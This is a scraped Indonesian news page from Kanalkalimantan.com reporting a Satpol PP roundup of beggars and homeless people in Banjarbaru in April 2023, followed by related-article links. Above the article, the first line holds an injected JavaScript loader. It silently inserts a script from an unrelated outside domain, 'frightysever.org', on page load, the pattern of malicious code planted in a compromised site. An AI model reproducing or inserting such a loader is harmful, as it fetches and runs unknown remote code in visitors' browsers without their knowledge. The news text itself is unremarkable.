(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Puluhan Penyandang Masalah Kesejahteraan Sosial (PMKS) yang mangkal di pinggir jalan utama Kota Banjarbaru, kembali ditertibkan Satuan Polisi Pamong Praja, Selasa (18/4/2023) siang.
Dari pantauan Kanalkalimantan.com, PMKS yang ditertibkan nampak kebanyakan pemain lama yang tak jera terjaring penertiban Satpol PP Banjarbaru.
Sebagian PMKS saat kedatangan petugas Satpol PP Banjarbaru berhamburan melarikan diri terutama di Jalan A Yani depan kampus ULM Banjarbaru dan Jalan Nazmi Adhani.
Kepala Seksi Opsdal Satpol PP Banjarbaru Yanto Hidayat mengatakan, pihaknya kembali menertibkan pengemis dan gelandangan yang mangkal di pinggir jalan di Banjarbaru.
Baca juga: Tim Satgas Pangan Kabupaten Banjar Pastikan Stok Pangan Aman Hingga 4 Bulan ke Depan
“Arahan dari pak Wali,” ujarnya.
Para pengemis dan gelandangan masih dilakukan penertiban di Jalan A Yani Km 33,6 hingga di Batas Kota Banjarbaru dan Kabupaten Banjar, kemudian di Jalan Nazmi Adhani.
Seluruh pengemis dan gelandangan diangkut menggunakan mobil Dalmas Satpol PP Banjarbaru ke Kantor Satpol PP Banjarbaru untuk ditindaklanjuti.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More
KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More
Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More
7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More
This website uses cookies.